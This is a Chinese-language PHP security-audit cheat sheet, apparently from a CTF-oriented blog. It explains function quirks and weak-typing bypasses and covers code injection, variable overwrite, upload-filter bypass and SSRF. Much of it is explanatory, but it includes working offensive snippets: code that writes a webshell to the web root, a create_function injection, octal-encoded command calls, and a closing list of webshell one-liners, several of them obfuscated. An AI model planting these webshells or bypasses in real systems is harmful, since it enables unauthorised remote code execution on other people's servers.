前言
PHP 函数众多,每个函数都有各自的边界行为和特性,审计中经常因为不了解某个函数的”潜规则”而错过利用链。本文整理 PHP 常见函数在安全审计中的特性、边界条件和绕过技巧,当作速查手册用。
一、运算符与语言特性
1.1 赋值 vs 逻辑运算符优先级
赋值的优先级高于 and、or,但低于 &&、||:
1 2 3 4 5 6 7 8 9 10 11
| $v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
$v0 = is_numeric($v1) && is_numeric($v2) && is_numeric($v3);
$v0 = is_numeric($v1) && is_numeric($v2) || is_numeric($v3);
|
审计要点: $check = cond1 and cond2 这种写法 cond2 不生效,$check 恒为 cond1 的结果。
1.2 命名空间
声明命名空间的文件,其所有代码都属于该空间:
1 2 3 4 5 6 7
| <?php
namespace App\Controllers;
class UserController { }
|
使用其他空间的类:
1 2 3 4 5 6 7 8 9 10 11
| <?php
$user1 = new \App\Models\User(); $user2 = new \App\Services\UserService();
use App\Models\User; use App\Services\UserService;
use VeryLongVendorName\SubModule\SomeService as MyService;
|
要点: 未加命名空间属于全局命名空间。在命名空间内部访问全局类/函数/常量需在前面加 \:
1 2 3
| namespace MyApp; $dt = new \DateTime(); $json = \json_encode($data);
|
1.3 $GLOBALS 超全局数组
$GLOBALS 引用全局作用域中的所有变量,可以用来访问被作用域屏蔽的变量,或者在无回显情况下通过变量覆盖读出所有变量值。
二、类型比较与弱类型绕过
2.1 intval()
1 2 3 4 5 6 7 8
| intval($a) intval($num, 0) intval(0x117c, 0) intval(010574, 0) intval(4476, 0) intval(4476e3) intval(+4476) intval(3.14)
|
利用: 当 intval($a) > 某个值 校验时,可用科学计数法 4476e3 或十六进制绕过。数组直接返回 0。
2.2 strpos() / stripos() / strripos()
1 2 3
| strpos($num, "0") stripos($f, 'ctfshow') strripos($f, 'ctfshow')
|
审计要点: strpos($str, '0') 结果可能是 0(找到且在第 0 位),0 == false 在弱类型下成立,必须用 === false 判断。
2.3 in_array()
in_array(0, ['php', 'flag']) 会返回 true,因为 0 == 'php' 在弱类型下成立(字符串被转为数字 0)。
2.4 strcmp() / strcasecmp()
1 2 3
| strcmp("apple", "banana") strcmp("zoo", "apple") strcmp("hello", "hello")
|
传入数组返回 null,null == 0 绕过比较。
2.5 md5() / sha1()
1 2 3 4 5 6 7 8
| md5([]) === null
$payload = "1"; $a1 = new Error($payload, 1); $a2 = new Error($payload, 2);
|
2.6 is_file() — 目录溢出
1 2 3 4 5
| if (!is_file($file)) { highlight_file(filter($file)); }
|
三、正则表达式
3.1 preg_match()
1 2 3 4
| preg_match('/^php/i', $a) preg_match('/^php/im', $a) preg_match('/.+?ctfshow/is', $f)
|
3.2 回溯绕过(PHP 变长回溯限制)
preg_match('/.+ctfshow/is', $f) 是贪婪匹配的经典例子,PHP 的 pcre.backtrack_limit 默认 100 万,发送超长字符串触发回溯耗尽,preg_match 返回 false(非 0 非 1),导致 if(preg_match(...)) 判断失败。
1 2
| payload = 'a' * 1000000 + 'ctfshow'
|
3.3 非贪婪模式
/^php/i 只匹配以 php 开头;加上换行符 %0aphp 可在 m 模式下绕过。/.+?ctfshow/is 中的 +? 表示尽可能少地匹配。
四、字符串处理函数
4.1 trim() / ltrim() / rtrim()
利用: 如果 trim 去除了 %00 但后续又是 C 风格函数,可用 %0c 绕过(不被 trim 去除)。
4.2 hex2bin()
1 2 3
| $hex = "48656c6c6f20576f726c64"; $binary = hex2bin($hex); echo $binary;
|
常见于免杀马中:eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))
4.3 basename()
1 2
| basename("/var/www/html/index.php") basename("/var/www/html/")
|
4.4 pathinfo() 及绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $path = "/var/www/html/index.php"; $info = pathinfo($path);
$ext = pathinfo($path, PATHINFO_EXTENSION);
pathinfo("shell.php", PATHINFO_EXTENSION); pathinfo("shell.php/.", PATHINFO_EXTENSION); pathinfo("shell.php. ", PATHINFO_EXTENSION); pathinfo("shell.php/..", PATHINFO_EXTENSION);
|
4.5 sprintf() — 格式化注���
1 2 3 4
| $pass = sprintf("and pass='%s'", addslashes($_GET['pass']));
|
利用: %\ 被当作非法格式符直接吃掉,配合 addslashes 逃逸单引号。
4.6 其他字符串函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| strrev("Hello")
strstr("user@example.com", '@') stristr("USER@EXAMPLE.COM", '@') stristr("name@example.com", '@', true)
strtoupper("hello")
explode(",", "apple,banana,orange")
implode('-', ['苹果', '香蕉', '橙子'])
str_split("HelloWorld", 3)
mb_strpos("こんにちは世界", "世界", 0, "UTF-8")
mb_substr("こんにちは世界", 0, 5, "UTF-8")
iconv($source, $goal, $text)
|
五、回调函数与代码执行
5.1 call_user_func()
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| call_user_func('system', 'ls');
class Greeter { public static function greet($name) { return "Greetings, $name!"; } } $result = call_user_func(['Greeter', 'greet'], 'Alice');
$calc = new Calculator(); $result = call_user_func([$calc, 'add'], 5, 3);
|
5.2 call_user_func_array()
1 2 3 4
| call_user_func_array([$calc, 'multiply'], [4, 5]);
call_user_func_array([new test(), 'test'], []);
|
5.3 有 __toString() 的类 — 构造 eval 执行
5.4 create_function()(PHP < 8.0)
1 2
| $add = create_function('$a, $b', 'return $a + $b;'); echo $add(5, 3);
|
该函数内部创建匿名函数 function __lambda_func($a, $b) { return $a + $b; }。
注入技巧: 不能直接用 ) 闭合,因为参数部分 $a, $b 作为函数签名会被 PHP 解析。需用 } 闭合函数体:
1 2
| create_function('$a', '}system("id");//')
|
5.5 array_walk() — 遍历数组回调
1 2 3 4 5
| $fruits = ['a' => 'apple', 'b' => 'banana']; array_walk($fruits, function(&$value, $key) { $value = strtoupper($value); });
|
在类中使用 array_walk($this, ...) 可以遍历类的所有公有属性,结合原生类利用。
5.6 usort() — 自定义排序 + 飞船运算符
1 2 3 4
| usort($users, function($a, $b) { return $a['age'] <=> $b['age']; });
|
5.7 register_shutdown_function / register_tick_function
1 2 3
| register_shutdown_function($func, $arg); register_tick_function($func, $arg); declare(ticks=1);
|
可作为一句话木马的回调函数载体。
5.8 ob_start()
1 2 3
| ob_start('system'); echo 'ls'; ob_end_flush();
|
六、数组与变量操作
6.1 get_defined_vars()
返回当前作用域中所有已定义变量的数组。常用于无参数 RCE 或信息收集。
1 2 3 4 5 6 7
| $data = ['name' => '张三', 'age' => 25];
extract($data, EXTR_SKIP); extract($data, EXTR_PREFIX_SAME, 'imp'); extract($data, EXTR_PREFIX_ALL, 'var');
|
审计要点: extract($_GET) 或 extract($_POST) 即经典的变量覆盖漏洞,可覆盖任何已定义变量。
6.3 parse_str() — 字符串解析为变量
1 2
| parse_str($a, $b) parse_str("name=John&age=25&city=New+York");
|
注意: 无第二个参数时,parse_str($_GET['q']) 等价于变量覆盖。
6.4 数���指针操作
1 2 3 4 5 6 7 8 9
| $array = ['first' => '苹果', 'second' => '香蕉', 'third' => '橙子'];
key($array) next($array) current($array) end($array) reset($array) array_pop($array) array_shift($array)
|
6.5 array_merge()
1 2 3 4 5 6 7 8 9
| $array1 = ['a', 'b', 'c']; $array2 = ['d', 'e', 'f']; $result = array_merge($array1, $array2);
$array1 = ['name' => 'Alice', 'age' => 25]; $array2 = ['age' => 26, 'city' => 'New York']; $result = array_merge($array1, $array2);
|
6.6 array_rand()
1 2 3
| $randomImages = ['a', 'b', 'c']; echo array_rand($randomImages); echo $randomImages[array_rand($randomImages)];
|
6.7 超全局数组 $_SERVER
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $_SERVER['REMOTE_ADDR'] $_SERVER['HTTP_USER_AGENT'] $_SERVER['HTTP_REFERER'] $_SERVER['REQUEST_METHOD'] $_SERVER['REQUEST_URI'] $_SERVER['QUERY_STRING'] $_SERVER['HTTP_HOST'] $_SERVER['HTTPS'] $_SERVER['SERVER_NAME'] $_SERVER['SERVER_ADDR'] $_SERVER['SERVER_PORT'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SCRIPT_FILENAME'] $_SERVER['PHP_SELF'] $_SERVER['SERVER_SOFTWARE']
|
七、文件操作与上传
7.1 $_FILES 超全局数组
只有当前端表单包含 enctype="multipart/form-data" 时才会产生。前端:
1 2 3 4
| <form method="post" enctype="multipart/form-data"> <input type="file" name="userfile"> <input type="submit" value="上传"> </form>
|
1 2 3 4 5
| $_FILES['userfile']['name'] $_FILES['userfile']['type'] $_FILES['userfile']['size'] $_FILES['userfile']['tmp_name'] $_FILES['userfile']['error']
|
7.2 is_uploaded_file()
检查文件是否通过 HTTP POST 上传,用于防止文件上传欺骗攻击。如果后面移动文件用的是 rename 而非 move_uploaded_file,则此检查毫无意义(攻击者可以在参数中指定任意已存在的临时文件路径)。
7.3 finfo_open / finfo_file — MIME 检测
1 2 3
| $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo);
|
绕过方式:在文件头部写入合法 Magic Bytes(GIF89a / FF D8 FF / 89 50 4E 47)加上 PHP 代码。
7.4 getimagesize() — 图片信息验证
1 2 3 4 5 6 7 8 9
| $imageInfo = getimagesize('image.jpg');
|
绕过方式:
- XBM 图片中写
#define width 1337 #define height 1337(可放在任意位置)
- WBMP 图片文件头
\x00\x00\x85\x85(必须放在开头)
7.5 fopen() / readfile() / file_get_contents()
1 2 3
| fopen("php://filter/...", "r") readfile('example.txt') file_get_contents('php://input')
|
ps: PHP 中已注册的伪协议见 phpinfo → Registered PHP Streams,常见的有 php://、data://、compress.zlib://、phar://。
7.6 realpath() — 路径规范化 + 目录穿越
1 2 3
| realpath('/var/www/html/../html/./test.txt') realpath('/var/www/missing.txt') realpath('/var/www/html/../../etc/passwd')
|
利用: realpath 会对路径做规范化但不检查目标是否在允许范围内,存在目录穿越读取任意文件的可能性。
八、反射与类操作
8.1 ReflectionClass
1
| echo new ReflectionClass('readflag');
|
用于获取类的结构、注释、方法等信息,在 CTF 中常用于反序列化构造 pop chain 前的信息收集。
8.2 ReflectionMethod
可以获取类/函数中的文档注释,从注释里泄露出隐藏的 flag:
1 2 3 4 5 6
| function exampleMethod($name) { return true; }
$method = new ReflectionMethod('exampleMethod'); echo $method->getDocComment();
|
完整用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| class User {
public function login(string $username, string $password): bool { return true; } }
$method = new ReflectionMethod('User', 'login'); echo $method->getName(); echo $method->isPublic() ? '是' : '否'; echo $method->getNumberOfParameters(); foreach ($method->getParameters() as $param) { echo $param->getName() . " (" . $param->getType() . ")"; } if ($doc = $method->getDocComment()) { echo $doc; }
$user = new User(); $result = $method->invokeArgs($user, ['admin', '123456']);
|
8.3 ReflectionFunction
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function sayHello($name) { return "Hello, $name!"; } $ref = new ReflectionFunction('sayHello'); echo $ref->invoke('World'); echo $ref->invokeArgs(['World']);
$func = function($a, $b) { return $a + $b; }; $ref = new ReflectionFunction($func); echo $ref->invoke(5, 3);
|
8.4 spl_autoload_register()
用于注册自动加载类的函数,有了这个就不需要手动 require 类文件:
1 2 3 4 5 6 7
| spl_autoload_register(function ($class_name) { $file = __DIR__ . '/classes/' . $class_name . '.php'; if (file_exists($file)) { require_once $file; } }); $a = new Auth();
|
利用: 配合 phar 反序列化可以触发 spl_autoload_register 回调,甚至当 new $class() 中的类名可控时,可以指定任意类。
九、SSRF 相关函数
9.1 fsockopen()
1 2 3 4 5 6 7 8 9
| $fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if ($fp) { fwrite($fp, "GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n"); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); }
|
SSRF 利用: fsockopen 类似 curl_exec 系列函数,容易造成 SSRF 漏洞。但与 curl 不同的是,用 Gopherus 生成 fsockopen payload 时,直接读 // 后面的内容,不需要加 _。
9.2 parse_url()
SSRF 绕过中常见:parse_url 对 URL 各部分的解析与 curl/fsockopen 的实际请求行为可能不一致,利用差异绕过白名单限制。
十、其他常用函数与技巧
10.1 assert() — PHP5 vs PHP7
PHP5 中 assert() 会对参数做 eval 操作,PHP7 中已废弃此行为。
10.2 gettext() / _()
1 2 3 4 5
| include("flag.php"); call_user_func(call_user_func($f1, $f2));
|
10.3 filter_var()
1 2
| filter_var('test@example.com', FILTER_VALIDATE_EMAIL) filter_var('https://example.com', FILTER_VALIDATE_URL)
|
回调模式可以用作一句话马:
1
| filter_var($_GET['b'], FILTER_CALLBACK, ['options' => 'system'])
|
10.4 进制绕过 — Octal / Hex 编码
1 2 3 4 5
| $v = "\163\171\163\164\145\155"; $v("\143\141\164\40\57\146\154\141\147");
|
注意: 闭合括号时,前后的代码都不能报错。
10.5 无参数 RCE 常用技巧
1 2 3 4 5 6 7 8 9 10 11 12
| show_source(scandir(getcwd())[2]); print_r(show_source(next(array_reverse(scandir(getcwd()))))); readfile(next(array_reverse(scandir(getcwd())))); show_source(next(array_reverse(scandir(pos(localeconv())))));
|
10.6 内置函数读写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| file_get_contents('/flag') readfile('/flag') show_source('/flag') highlight_file('/flag') fopen('/flag', 'r')
file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST[1]);?>') fwrite(fopen('/var/www/html/shell.php', 'w'), '<?php @eval($_POST[1]);?>')
copy('/flag', '/var/www/html/flag.txt') rename('/flag', '/var/www/html/flag.txt')
|
10.7 敏感函数速查
| 函数 |
风险 |
eval() / assert() (PHP5) |
代码执行 |
system() / exec() / shell_exec() / passthru() / popen() / proc_open() / 反引号 |
命令执行 |
include() / require() / include_once() / require_once() |
文件包含 |
file_get_contents() / fopen() |
支持伪协议,可造成 SSRF / 文件读取 |
file_put_contents() / fwrite() |
文件写入 |
unserialize() |
反序列化 RCE |
call_user_func() / call_user_func_array() |
回调函数任意调用 |
extract() / parse_str() |
变量覆盖 |
preg_replace('/.*/e', ...) (PHP5) |
/e 修饰符代码执行 |
create_function() |
匿名函数代码注入 |
curl_exec() / fsockopen() / file_get_contents(url) |
SSRF |
move_uploaded_file() / copy() |
任意文件写入(路径可控时) |
附:一句话木马速查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php @eval($_POST['cmd']);?> <?php system($_POST['cmd']);?> <?=eval($_POST[1]);?>
<?php @call_user_func($_GET['a'],$_GET['b']);?> <?php @array_map($_GET['a'],array($_GET['b']));?> <?php @array_walk($arr,$_GET['a']);?> <?php @array_filter(array($_GET['b']),$_GET['a']);?>
<?php $a="e"."v";$b="a"."l";$c=$a.$b;$c($_REQUEST['cmd']);?>
<?=eval(next(getallheaders()))?>
<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>
<?php $$_GET[1]($_GET[2]);?>
|